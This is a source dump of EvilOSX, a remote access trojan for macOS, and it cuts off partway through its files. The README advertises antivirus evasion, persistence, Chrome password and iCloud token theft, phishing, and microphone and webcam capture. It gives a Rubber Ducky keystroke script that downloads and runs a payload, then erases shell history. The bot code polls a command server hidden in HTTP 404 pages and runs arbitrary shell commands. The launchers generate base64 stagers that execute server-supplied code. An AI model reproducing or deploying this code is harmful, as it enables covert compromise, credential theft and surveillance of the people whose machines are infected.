├── .gitignore ├── .travis.yml ├── CONTRIBUTING.md ├── Dockerfile ├── LICENSE.txt ├── README.md ├── bot ├── __init__.py ├── bot.py ├── launchers │ ├── __init__.py │ ├── helper.py │ ├── python.py │ └── rubber_ducky.py └── loaders │ ├── __init__.py │ ├── helper.py │ └── launch_daemon │ ├── install.py │ ├── loader.py │ ├── remove.py │ └── update.py ├── data ├── builds │ └── .gitignore ├── images │ ├── logo.png │ └── logo_334x600.png └── output │ └── .gitignore ├── requirements.txt ├── server ├── __init__.py ├── handler.py ├── model.py ├── modules │ ├── __init__.py │ ├── bot │ │ ├── CVE-2015-5889.py │ │ ├── CVE-2020-3950.py │ │ ├── browser_history.py │ │ ├── chrome_passwords.py │ │ ├── clipboard.py │ │ ├── decrypt_mme.py │ │ ├── download.py │ │ ├── get_backups.py │ │ ├── get_info.py │ │ ├── icloud_contacts.py │ │ ├── microphone.py │ │ ├── screenshot.py │ │ ├── slowloris.py │ │ ├── upload.py │ │ └── webcam.py │ ├── helper.py │ └── server │ │ ├── CVE-2015-5889.py │ │ ├── CVE-2020-3950.py │ │ ├── browser_history.py │ │ ├── chrome_passwords.py │ │ ├── clipboard.py │ │ ├── decrypt_mme.py │ │ ├── download.py │ │ ├── get_backups.py │ │ ├── get_info.py │ │ ├── icloud_contacts.py │ │ ├── microphone.py │ │ ├── phish_itunes.py │ │ ├── remove_bot.py │ │ ├── screenshot.py │ │ ├── slowloris.py │ │ ├── update_bot.py │ │ ├── upload.py │ │ └── webcam.py ├── version.py └── view │ ├── __init__.py │ ├── cli.py │ ├── gui.py │ └── helper.py └── start.py /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | *.pyc 3 | data/EvilOSX.db -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | group: travis_latest 2 | language: python 3 | cache: pip 4 | matrix: 5 | include: 6 | - python: 2.7 7 | # - python: 3.4 8 | # - python: 3.5 9 | # - python: 3.6 10 | - python: 3.7 11 | dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069) 12 | sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069) 13 | install: 14 | - pip install -r requirements.txt 15 | - pip install flake8 16 | before_script: 17 | # stop the build if there are Python syntax errors or undefined names 18 | - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics 19 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide 20 | - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics 21 | script: 22 | - true # add other tests here 23 | notifications: 24 | on_success: change 25 | on_failure: change # `always` will be the setting once code changes slow down 26 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 |

2 | Modules 3 |
4 |

5 | 6 |

Modular programming is a software design technique that emphasizes separating the functionality of a program into independent, interchangeable modules, such that each contains everything necessary to execute only one aspect of the desired functionality.

7 | 8 | --- 9 | 10 | ## Creating a module 11 | Modules are split up into two files. 12 | 13 | ### Server 14 | For this example we're going to create a simple module which says "Hello world!" to the bot (via text to speech).
15 | The first file should be under the [server](https://github.com/Marten4n6/EvilOSX/tree/master/server/modules/server) directory (I called mine **say.py**). 16 | 17 | We can use this to get information, setup and process the response of a module.
18 | This file will be automatically picked up by the server if we follow the rules specified in the ModuleABC class.
19 | Here's how the server side of this module looks:
20 | ```python 21 | from server.modules.helper import * 22 | 23 | 24 | class Module(ModuleABC): 25 | def get_info(self): 26 | return { 27 | "Author:": ["Marten4n6"], 28 | "Description": "Speak to the bot via text to speech.", 29 | "References": [], 30 | "Stoppable": False 31 | } 32 | 33 | def get_setup_messages(): 34 | """Setup messages which will be presented to the user. 35 | 36 | In this example we'll ask the user for the message they want 37 | text to speech to speak to the bot. 38 | """ 39 | return [ 40 | "Message to speak (Leave empty for \"Hello world!\"): " 41 | ] 42 | 43 | def setup(self, set_options): 44 | """Called after all options have been set.""" 45 | message = set_options[0] 46 | 47 | if not message: # The user pressed enter, set the default. 48 | message = "Hello world!" 49 | 50 | # Return True to indicate the setup was successful. 51 | # This dictionary will be sent to the bot side of this module. 52 | return True, { 53 | "message": message 54 | } 55 | ``` 56 | Now this module will be picked up by the server (you can see this by starting the server and typing "modules").
57 | 58 | ### Bot 59 | Now let's make our module actually do something... 60 | 61 | The second file should be under the [bot](https://github.com/Marten4n6/EvilOSX/tree/master/server/modules/bot) directory and named the same as the server side.
62 | Every module must contain the following function: 63 | ```python 64 | def run(options): 65 | # This is the required starting point of every module. 66 | pass 67 | ``` 68 | The optional dictionary returned by the setup method (of the first file) is passed to this function.
69 | It's useful to know that this dictionary always contains the following keys:
70 | ```"server_host", "server_port", "program_directory"``` 71 | 72 | Anything printed by a module will **directly** be returned to the server's ```process_response``` method.
73 | Optionally, the dictionary returned by the server's ```setup``` method may have a "response_options" key which is then also sent back to this method. 74 | 75 | Here's the bot side of our example: 76 | ```python 77 | import subprocess 78 | 79 | 80 | def run(options): 81 | message = options["message"] 82 | 83 | subprocess.call("say '%s'" % message, shell=True) 84 | print("Say module finished!") 85 | ``` 86 | 87 | ## 88 | Feel free to submit an [issue](https://github.com/Marten4n6/EvilOSX/issues) or send me an email if you have any further questions. -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | # Build dependencies 4 | RUN apk add build-base gcc 5 | 6 | # Layer caching 7 | COPY requirements.txt / 8 | RUN pip install -r /requirements.txt 9 | 10 | COPY . /EvilOSX 11 | WORKDIR /EvilOSX 12 | 13 | CMD ["python", "start.py"] 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 |
3 | Logo 4 |
5 | EvilOSX 6 |
7 |

8 | 9 |

An evil RAT (Remote Administration Tool) for macOS / OS X.

10 | 11 |

12 | 13 | License 14 | 15 | 16 | Python 17 | 18 | 19 | Issues 20 | 21 | 22 | Build Status 23 | 24 | 25 | Contributing 26 | 27 |

28 | 29 | --- 30 | 31 | [Marco Generator](https://github.com/cedowens/EvilOSX_MacroGenerator) by Cedric Owens 32 | 33 | ### This project is no longer active 34 | 35 | ## Features 36 | - Emulate a terminal instance 37 | - Simple extendable [module](https://github.com/Marten4n6/EvilOSX/blob/master/CONTRIBUTING.md) system 38 | - No bot dependencies (pure python) 39 | - Undetected by anti-virus (OpenSSL [AES-256](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encrypted payloads) 40 | - Persistent 41 | - GUI and CLI support 42 | - Retrieve Chrome passwords 43 | - Retrieve iCloud tokens and contacts 44 | - Retrieve/monitor the clipboard 45 | - Retrieve browser history (Chrome and Safari) 46 | - [Phish](https://i.imgur.com/x3ilHQi.png) for iCloud passwords via iTunes 47 | - iTunes (iOS) backup enumeration 48 | - Record the microphone 49 | - Take a desktop screenshot or picture using the webcam 50 | - Attempt to get root via local privilege escalation 51 | 52 | ## How To Use 53 | 54 | ```bash 55 | # Clone or download this repository 56 | $ git clone https://github.com/Marten4n6/EvilOSX 57 | 58 | # Go into the repository 59 | $ cd EvilOSX 60 | 61 | # Install dependencies required by the server 62 | $ sudo pip install -r requirements.txt 63 | 64 | # Start the GUI 65 | $ python start.py 66 | 67 | # Lastly, run a built launcher on your target(s) 68 | ``` 69 | 70 | **Warning:** Because payloads are created unique to the target system (automatically by the server), the server must be running when any bot connects for the first time. 71 | 72 | ### Advanced users 73 | 74 | There's also a CLI for those who want to use this over SSH: 75 | ```bash 76 | # Create a launcher to infect your target(s) 77 | $ python start.py --builder 78 | 79 | # Start the CLI 80 | $ python start.py --cli --port 1337 81 | 82 | # Lastly, run a built launcher on your target(s) 83 | ``` 84 | 85 | ## Screenshots 86 | 87 | ![CLI](https://i.imgur.com/DGYCQMl.png) 88 | ![GUI](https://i.imgur.com/qw3k4z4.png) 89 | 90 | ## Motivation 91 | This project was created to be used with my [Rubber Ducky](https://hakshop.com/products/usb-rubber-ducky-deluxe), here's the simple script: 92 | ``` 93 | REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX 94 | REM See also: https://ducktoolkit.com/vidpid/ 95 | 96 | DELAY 1000 97 | GUI SPACE 98 | DELAY 500 99 | STRING Termina 100 | DELAY 1000 101 | ENTER 102 | DELAY 1500 103 | 104 | REM Kill all terminals after x seconds 105 | STRING screen -dm bash -c 'sleep 6; killall Terminal' 106 | ENTER 107 | 108 | STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear 109 | ENTER 110 | ``` 111 | - It takes about 10 seconds to backdoor any unlocked Mac, which is...... *nice* 112 | - Termina**l** is spelt that way intentionally, on some systems spotlight won't find the terminal otherwise.
113 | - To bypass the keyboard setup assistant make sure you change the VID&PID which can be found [here](https://ducktoolkit.com/vidpid/).
114 | Aluminum Keyboard (ISO) is probably the one you are looking for. 115 | 116 | 117 | ## Versioning 118 | EvilOSX will be maintained under the Semantic Versioning guidelines as much as possible.
119 | Server and bot releases will be numbered with the follow format: 120 | ``` 121 | .. 122 | ``` 123 | 124 | And constructed with the following guidelines: 125 | - Breaking backward compatibility (with older bots) bumps the major 126 | - New additions without breaking backward compatibility bumps the minor 127 | - Bug fixes and misc changes bump the patch 128 | 129 | For more information on SemVer, please visit https://semver.org/. 130 | 131 | ## Design Notes 132 | - Infecting a machine is split up into three parts: 133 | * A **launcher** is run on the target machine whose only goal is to run the stager 134 | * The stager asks the server for a **loader** which handles how a payload will be loaded 135 | * The loader is given a uniquely encrypted **payload** and then sent back to the stager 136 | - The server hides it's communications by sending messages hidden in HTTP 404 error pages (from BlackHat's "Hiding In Plain Sight") 137 | * Command requests are retrieved from the server via a GET request 138 | * Command responses are sent to the server via a POST request 139 | - Modules take advantage of python's dynamic nature, they are simply sent over the network compressed with [zlib](https://www.zlib.net), along with any configuration options 140 | - Since the bot only communicates with the server and never the other way around, the server has no way of knowing when a bot goes offline 141 | 142 | ## Issues 143 | Feel free to submit any issues or feature requests [here](https://github.com/Marten4n6/EvilOSX/issues). 144 | 145 | ## Contributing 146 | For a simple guide on how to create modules click [here](https://github.com/Marten4n6/EvilOSX/blob/master/CONTRIBUTING.md). 147 | 148 | ## Credits 149 | - The awesome [Empire](https://github.com/EmpireProject) project 150 | - Shoutout to [Patrick Wardle](https://twitter.com/patrickwardle) for his awesome talks, check out [Objective-See](https://objective-see.com/) 151 | - manwhoami for his projects: OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts
152 | (now deleted... let me know if you reappear) 153 | - The slowloris module is pretty much copied from [PySlowLoris](https://github.com/ProjectMayhem/PySlowLoris) 154 | - [urwid](http://urwid.org/) and [this code](https://github.com/izderadicka/xmpp-tester/blob/master/commander.py) which saved me a lot of time with the CLI 155 | - Logo created by [motusora](https://www.behance.net/motusora) 156 | 157 | ## License 158 | [GPLv3](https://github.com/Marten4n6/EvilOSX/blob/master/LICENSE.txt) 159 | -------------------------------------------------------------------------------- /bot/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Marten4n6/EvilOSX/033a662030e99b3704a1505244ebc1e6e59fba57/bot/__init__.py -------------------------------------------------------------------------------- /bot/bot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """Minimal bot which loads modules as they are needed from the server.""" 4 | __author__ = "Marten4n6" 5 | __license__ = "GPLv3" 6 | __version__ = "4.1.1" 7 | 8 | import getpass 9 | import json 10 | import logging 11 | import os 12 | import subprocess 13 | from threading import Timer, Thread 14 | import traceback 15 | import uuid 16 | from base64 import b64encode, b64decode 17 | from binascii import hexlify 18 | from time import sleep, time 19 | from zlib import decompress 20 | import platform 21 | from StringIO import StringIO 22 | from urllib import urlencode 23 | import sys 24 | import binascii 25 | 26 | import urllib2 27 | 28 | # ************************************************************* 29 | # These variables will be patched when this payload is created. 30 | SERVER_HOST = "127.0.0.1" 31 | SERVER_PORT = 1337 32 | USER_AGENT = "" 33 | PROGRAM_DIRECTORY = "" 34 | LOADER_OPTIONS = {"loader_name": "launch_daemon"} 35 | # ************************************************************* 36 | 37 | COMMAND_INTERVAL = 1 # Normal interval to check for commands. 38 | IDLE_INTERVAL = 30 # Interval to check for commands when idle. 39 | IDLE_TIME = 60 # Time in seconds after which the client will become idle. 40 | IDLE_SLEEP_INTERVAL = 5 # Time between sleeps 41 | 42 | # Logging 43 | logging.basicConfig(format="[%(levelname)s] %(funcName)s:%(lineno)s - %(message)s", level=logging.DEBUG) 44 | log = logging.getLogger(__name__) 45 | 46 | 47 | class CommandType: 48 | """Enum class for command types.""" 49 | 50 | def __init__(self): 51 | pass 52 | 53 | NONE = 0 54 | MODULE = 1 55 | SHELL = 2 56 | 57 | 58 | class RequestType: 59 | """Enum class for bot request types.""" 60 | 61 | def __init__(self): 62 | pass 63 | 64 | GET_COMMAND = 1 65 | RESPONSE = 2 66 | 67 | 68 | class Command: 69 | """This class represents a command.""" 70 | 71 | def __init__(self, command_type, command=None, options=None): 72 | """ 73 | :type command_type: int 74 | :type command: str 75 | :type options: dict 76 | """ 77 | self.type = command_type 78 | self.command = command 79 | self.options = options 80 | 81 | 82 | def get_uid(): 83 | """:return The unique ID of this bot.""" 84 | # The bot must be connected to WiFi anyway, so getnode is fine. 85 | # See https://docs.python.org/2/library/uuid.html#uuid.getnode 86 | return hexlify(getpass.getuser() + "-" + str(uuid.getnode()) + "-" + __version__) 87 | 88 | 89 | def run_command(command, cleanup=True, kill_on_timeout=True): 90 | """Runs a system command and returns its response.""" 91 | if len(command) > 3 and command[0:3] == "cd ": 92 | try: 93 | os.chdir(os.path.expanduser(command[3:])) 94 | return "Directory changed to: " + os.getcwd() 95 | except Exception as ex: 96 | log.error(str(ex)) 97 | return str(ex) 98 | else: 99 | try: 100 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 101 | timer = None 102 | 103 | try: 104 | if kill_on_timeout: 105 | # Kill process after 5 seconds (in case it hangs). 106 | timer = Timer(5, lambda process: process.kill(), [process]) 107 | timer.start() 108 | 109 | stdout, stderr = process.communicate() 110 | response = stdout + stderr 111 | 112 | if cleanup: 113 | return response.replace("\n", "") 114 | else: 115 | if len(response.split("\n")) == 2: # Response is one line. 116 | return response.replace("\n", "") 117 | else: 118 | return response 119 | finally: 120 | if timer: 121 | timer.cancel() 122 | except Exception as ex: 123 | log.error(str(ex)) 124 | return str(ex) 125 | 126 | 127 | class ModuleTask(Thread): 128 | """This class handles the execution of a module. 129 | 130 | Thread subclass with a kill method, see: 131 | https://mail.python.org/pipermail/python-list/2004-May/281944.html 132 | """ 133 | 134 | def __init__(self, command): 135 | Thread.__init__(self) 136 | self._command = command 137 | self._is_killed = False 138 | 139 | def write(self, text): 140 | """This is the where sys.stdout is redirected to.""" 141 | if text != "\n": 142 | module_name = self._command.options["module_name"] 143 | response_options = "" 144 | 145 | if "response_options" in self._command.options: 146 | response_options = self._command.options["response_options"] 147 | 148 | send_response(text, module_name, response_options) 149 | 150 | def run(self): 151 | sys.stdout = self 152 | sys.settrace(self.global_trace) 153 | 154 | # The module code is encoded with base64 and compressed. 155 | try: 156 | module = compile(decompress(b64decode(self._command.command)), "", "exec") 157 | except binascii.Error: 158 | send_response("Could not decode string as Base64 (len:%s).\n" % len(self._command.command)) 159 | 160 | module_dict = {} 161 | 162 | # We want every module to be able to access these options. 163 | self._command.options["server_host"] = SERVER_HOST 164 | self._command.options["server_port"] = SERVER_PORT 165 | self._command.options["program_directory"] = PROGRAM_DIRECTORY 166 | self._command.options["loader_options"] = LOADER_OPTIONS 167 | 168 | try: 169 | exec(module, module_dict) 170 | module_dict["run"](self._command.options) # Thanks http://lucumr.pocoo.org/2011/2/1/exec-in-python/ 171 | except Exception: 172 | send_response("Error executing module: \n" + traceback.format_exc()) 173 | 174 | sys.stdout = sys.__stdout__ 175 | 176 | def global_trace(self, frame, why, arg): 177 | if why == "call": 178 | return self.local_trace 179 | else: 180 | return None 181 | 182 | def local_trace(self, frame, why, arg): 183 | if self._is_killed: 184 | if why.strip() == "line": 185 | raise SystemExit() 186 | return self.local_trace 187 | 188 | def kill(self): 189 | self._is_killed = True 190 | 191 | 192 | def send_response(response, module_name="", response_options=""): 193 | """Sends a response to the server. 194 | 195 | :type response: str 196 | :type module_name: str 197 | :type response_options: dict 198 | """ 199 | headers = {"User-Agent": USER_AGENT} 200 | data = urlencode({"username": b64encode(json.dumps( 201 | {"response": b64encode(response), 202 | "bot_uid": get_uid(), "module_name": module_name, "response_options": response_options} 203 | ))}) 204 | 205 | try: 206 | request = urllib2.Request("http://%s:%s" % (SERVER_HOST, SERVER_PORT), headers=headers, data=data) 207 | urllib2.urlopen(request) 208 | except urllib2.HTTPError as ex: 209 | if ex.code == 404: 210 | # 404 response expected, no problem. 211 | pass 212 | else: 213 | raise 214 | 215 | 216 | def get_command(): 217 | """ 218 | :return: A command from the server. 219 | :rtype: Command 220 | """ 221 | headers = { 222 | "User-Agent": USER_AGENT, 223 | "Cookie": "session=" + b64encode(get_uid()) + "-" + 224 | b64encode(json.dumps({ 225 | "type": RequestType.GET_COMMAND, "username": run_command("whoami"), 226 | "hostname": run_command("hostname"), "path": run_command("pwd"), 227 | "version": str(platform.mac_ver()[0]), "loader_name": LOADER_OPTIONS["loader_name"] 228 | })) 229 | } 230 | response = "" 231 | 232 | try: 233 | # This will always throw an exception because the server will respond with 404. 234 | urllib2.urlopen(urllib2.Request("http://%s:%s" % (SERVER_HOST, SERVER_PORT), headers=headers)) 235 | except urllib2.HTTPError as ex: 236 | if ex.code == 404: 237 | response = ex.read() 238 | 239 | log.debug("Raw response: \n" + response) 240 | else: 241 | log.error(ex.message) 242 | 243 | try: 244 | processed = response.split("DEBUG:\n")[1].replace("DEBUG-->", "") 245 | try: 246 | processed_split = b64decode(processed).split("\n") 247 | except binascii.Error: 248 | return Command(CommandType.NONE) 249 | 250 | command_type = int(processed_split[0]) 251 | command = processed_split[1] 252 | try: 253 | options = json.loads(b64decode(processed_split[2])) 254 | except ValueError: 255 | # This command isn't a module so there's no options. 256 | options = None 257 | 258 | log.debug("Type: " + str(command_type)) 259 | log.debug("Command: " + command) 260 | log.debug("Options: " + str(options)) 261 | 262 | return Command(command_type, command, options) 263 | except IndexError: 264 | return Command(CommandType.NONE) 265 | 266 | 267 | def main(): 268 | """Main bot loop.""" 269 | last_active = time() # The last time a command was requested from the server. 270 | idle = False 271 | 272 | log.info("Starting EvilOSX v%s...", __version__) 273 | 274 | while True: 275 | try: 276 | log.info("Receiving command...") 277 | command = get_command() 278 | 279 | if command.type != CommandType.NONE: 280 | if idle: 281 | log.info("Switching from idle back to normal mode...") 282 | 283 | last_active = time() 284 | idle = False 285 | 286 | if command.type == CommandType.MODULE: 287 | log.debug("Running module...") 288 | 289 | module_task = ModuleTask(command) 290 | module_task.daemon = True 291 | module_task.start() 292 | else: 293 | log.debug("Running command...") 294 | send_response(run_command(b64decode(command.command), cleanup=False)) 295 | else: 296 | log.info("No command received.") 297 | 298 | if idle: 299 | sleep(IDLE_INTERVAL) 300 | elif (time() - last_active) >= IDLE_TIME: 301 | log.info("The last command was a while ago, switching to idle...") 302 | idle = True 303 | else: 304 | sleep(COMMAND_INTERVAL) 305 | except Exception as ex: 306 | if "Connection refused" in str(ex): 307 | # The server is offline. 308 | log.error("Failed to connect to the server.") 309 | sleep(IDLE_SLEEP_INTERVAL) 310 | else: 311 | log.error(traceback.format_exc()) 312 | sleep(IDLE_SLEEP_INTERVAL) 313 | 314 | 315 | if __name__ == '__main__': 316 | try: 317 | main() 318 | except KeyboardInterrupt: 319 | log.info("\nInterrupted.") 320 | -------------------------------------------------------------------------------- /bot/launchers/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """Creates loaders using the factory pattern.""" 3 | __author__ = "Marten4n6" 4 | __license__ = "GPLv3" 5 | 6 | import imp 7 | import json 8 | import random 9 | import string 10 | from base64 import b64encode 11 | from os import path, listdir 12 | from textwrap import dedent 13 | 14 | _module_cache = {} 15 | 16 | 17 | def get_names(): 18 | """:return: A list of available launchers.""" 19 | launcher_names = [] 20 | 21 | for filename in listdir(path.realpath(path.dirname(__file__))): 22 | if not filename.endswith(".py") or filename in ["__init__.py", "helper.py"]: 23 | continue 24 | else: 25 | launcher_names.append(filename.replace(".py", "", 1)) 26 | 27 | return launcher_names 28 | 29 | 30 | def _load_module(module_name): 31 | """Loads the module and adds it to the cache. 32 | 33 | :type module_name: str 34 | """ 35 | # Going to use imp over importlib until python decides to remove it. 36 | module_path = path.realpath(path.join(path.dirname(__file__), module_name + ".py")) 37 | module = imp.load_source(module_name, module_path) 38 | 39 | _module_cache[module_name] = module 40 | 41 | return _module_cache[module_name] 42 | 43 | 44 | def _get_random_user_agent(): 45 | """ 46 | :rtype: str 47 | :return: A random user agent. 48 | """ 49 | # Taken from https://techblog.willshouse.com/2012/01/03/most-common-user-agents/ 50 | user_agents = [ 51 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1 Safari/605.1.15", 52 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", 53 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36", 54 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", 55 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0", 56 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", 57 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.6", 58 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 59 | ] 60 | return random.choice(user_agents) 61 | 62 | 63 | def get_random_string(size=random.randint(6, 15), numbers=False): 64 | """ 65 | :type size: int 66 | :type numbers: bool 67 | :rtype: str 68 | :return: A randomly generated string of x characters.""" 69 | result = "" 70 | 71 | for i in range(0, size): 72 | if not numbers: 73 | result += random.choice(string.ascii_letters) 74 | else: 75 | result += random.choice(string.ascii_letters + string.digits) 76 | return result 77 | 78 | 79 | def create_stager(server_host, server_port, loader_options): 80 | """ 81 | :type server_host: str 82 | :type server_port: int 83 | :type loader_options: dict 84 | :rtype: str 85 | :return: The stager which the launcher will execute.""" 86 | stager_host = "http://{}:{}".format(server_host, server_port) 87 | 88 | # Small piece of code which starts the staging process. 89 | # (Runs the loader returned by the server). 90 | stager_code = dedent("""\ 91 | # -*- coding: utf-8 -*- 92 | import urllib2 93 | from base64 import b64encode, b64decode 94 | import getpass 95 | from uuid import getnode 96 | from binascii import hexlify 97 | 98 | 99 | def get_uid(): 100 | return hexlify(getpass.getuser() + "-" + str(getnode())) 101 | 102 | 103 | {0} = "{1}" 104 | data = {{ 105 | "Cookie": "session=" + b64encode(get_uid()) + "-{2}", 106 | "User-Agent": "{3}" 107 | }} 108 | 109 | try: 110 | request = urllib2.Request("{4}", headers=data) 111 | urllib2.urlopen(request).read() 112 | except urllib2.HTTPError as ex: 113 | if ex.code == 404: 114 | exec(b64decode(ex.read().split("DEBUG:\\n")[1].replace("DEBUG-->", ""))) 115 | else: 116 | raise 117 | """.format( 118 | get_random_string(), get_random_string(numbers=True), 119 | b64encode("{}".format(json.dumps({ 120 | "type": 0, 121 | "payload_options": {"host": server_host, "port": server_port}, 122 | "loader_options": loader_options 123 | })).encode()).decode(), 124 | _get_random_user_agent(), 125 | stager_host 126 | )) 127 | 128 | return "echo {} | base64 --decode | python".format(b64encode(stager_code.encode()).decode()) 129 | 130 | 131 | def generate(launcher_name, stager): 132 | """ 133 | :type launcher_name: str 134 | :type stager: str 135 | :return: A tuple containing the file extension and code of this launcher. 136 | :rtype: tuple 137 | """ 138 | cached_launcher = _module_cache.get(launcher_name) 139 | 140 | if cached_launcher: 141 | return cached_launcher.Launcher().generate(stager) 142 | else: 143 | return _load_module(launcher_name).Launcher().generate(stager) 144 | 145 | 146 | _module_cache["helper"] = _load_module("helper") 147 | -------------------------------------------------------------------------------- /bot/launchers/helper.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import random 6 | import string 7 | from abc import ABCMeta, abstractmethod 8 | 9 | 10 | def random_string(size=random.randint(6, 15), numbers=False): 11 | """ 12 | :type size: int 13 | :type numbers: bool 14 | :rtype: str 15 | :return A randomly generated string of x characters.""" 16 | result = "" 17 | 18 | for i in range(0, size): 19 | if not numbers: 20 | result += random.choice(string.ascii_letters) 21 | else: 22 | result += random.choice(string.ascii_letters + string.digits) 23 | return result 24 | 25 | 26 | class LauncherABC: 27 | """Abstract base class for launchers.""" 28 | __metaclass__ = ABCMeta 29 | 30 | @abstractmethod 31 | def generate(self, stager): 32 | """ 33 | :type stager: str 34 | :rtype: (str, str) 35 | :return A tuple containing the file extension and code of the launcher. 36 | """ 37 | pass 38 | -------------------------------------------------------------------------------- /bot/launchers/python.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from bot.launchers.helper import LauncherABC, random_string 6 | from textwrap import dedent 7 | 8 | 9 | class Launcher(LauncherABC): 10 | def generate(self, stager): 11 | return ("py", dedent("""\ 12 | #!/usr/bin/python 13 | # -*- coding: utf-8 -*- 14 | import subprocess 15 | 16 | {} = "{}" 17 | subprocess.Popen("{}", shell=True) 18 | subprocess.Popen("rm -rf " + __file__, shell=True) 19 | """).format(random_string(), random_string(numbers=True), stager.replace('"', '\\"'))) 20 | -------------------------------------------------------------------------------- /bot/launchers/rubber_ducky.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from bot.launchers.helper import LauncherABC 6 | from textwrap import dedent 7 | 8 | 9 | class Launcher(LauncherABC): 10 | def generate(self, stager): 11 | return ("txt", dedent("""\ 12 | REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX 13 | REM Also see https://ducktoolkit.com/vidpid/ 14 | REM If timing is important, the following is a lot faster: 15 | REM STRING cd /tmp; curl -s HOST_TO_PYTHON_LAUNCHER.py -o 1337.py; python 1337.py; history -cw; clear 16 | 17 | DELAY 1000 18 | GUI SPACE 19 | DELAY 500 20 | STRING Termina 21 | DELAY 1000 22 | ENTER 23 | DELAY 1500 24 | 25 | REM Kill all terminals after x seconds 26 | STRING screen -dm bash -c 'sleep 6; killall Terminal' 27 | ENTER 28 | 29 | REM Run the stager 30 | STRING {}; history -cw; clear 31 | ENTER 32 | """.format(stager))) 33 | -------------------------------------------------------------------------------- /bot/loaders/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """Creates loaders using the factory pattern.""" 3 | __author__ = "Marten4n6" 4 | __license__ = "GPLv3" 5 | 6 | import imp 7 | from os import path, listdir 8 | from zlib import compress 9 | 10 | _loader_cache = {} 11 | 12 | 13 | def _load_loader(loader_name): 14 | """Loads the loader and adds it to the cache. 15 | 16 | :type loader_name: str 17 | """ 18 | # Going to use imp over importlib until python decides to remove it. 19 | module_path = path.realpath(path.join(path.dirname(__file__), loader_name, "loader.py")) 20 | module = imp.load_source(loader_name, module_path) 21 | 22 | _loader_cache[loader_name] = module.Loader() 23 | 24 | return _loader_cache[loader_name] 25 | 26 | 27 | def get_names(): 28 | """ 29 | :rtype: list[str] 30 | :return: A list of all loader names. 31 | """ 32 | names = [] 33 | 34 | for name in listdir(path.realpath(path.dirname(__file__))): 35 | directory_path = path.realpath(path.join(path.dirname(__file__), name)) 36 | 37 | if path.isdir(directory_path) and name not in ["__pycache__"]: 38 | names.append(name) 39 | 40 | return names 41 | 42 | 43 | def get_info(loader_name): 44 | """ 45 | :type loader_name: str 46 | :rtype: dict 47 | :return: A dictionary containing basic information about the loader. 48 | """ 49 | cached_loader = _loader_cache.get(loader_name) 50 | 51 | if not cached_loader: 52 | cached_loader = _load_loader(loader_name) 53 | 54 | return cached_loader.get_info() 55 | 56 | 57 | def get_option_messages(loader_name): 58 | """ 59 | :type loader_name: str 60 | :rtype: list 61 | """ 62 | cached_loader = _loader_cache.get(loader_name) 63 | 64 | try: 65 | if cached_loader: 66 | return cached_loader.get_option_messages() 67 | else: 68 | return _load_loader(loader_name).get_option_messages() 69 | except AttributeError: 70 | # This loader doesn't require any setup, no problem. 71 | return [] 72 | 73 | 74 | def get_options(loader_name, set_options): 75 | """:return: A dictionary containing the loader's configuration options. 76 | 77 | :type loader_name: str 78 | :type set_options: list 79 | """ 80 | cached_loader = _loader_cache.get(loader_name) 81 | 82 | if cached_loader: 83 | return cached_loader.get_options(set_options) 84 | else: 85 | return _load_loader(loader_name).get_options(set_options) 86 | 87 | 88 | def get_remove_code(loader_name): 89 | """:return: Compressed code which can be run on the bot. 90 | 91 | :type loader_name: str 92 | :rtype: bytes 93 | """ 94 | source_path = path.realpath(path.join(path.dirname(__file__), loader_name, "remove.py")) 95 | 96 | with open(source_path, "rb") as input_file: 97 | code = input_file.read() 98 | 99 | return compress(code) 100 | 101 | 102 | def get_update_code(loader_name): 103 | """:return: Compressed code which can be run on the 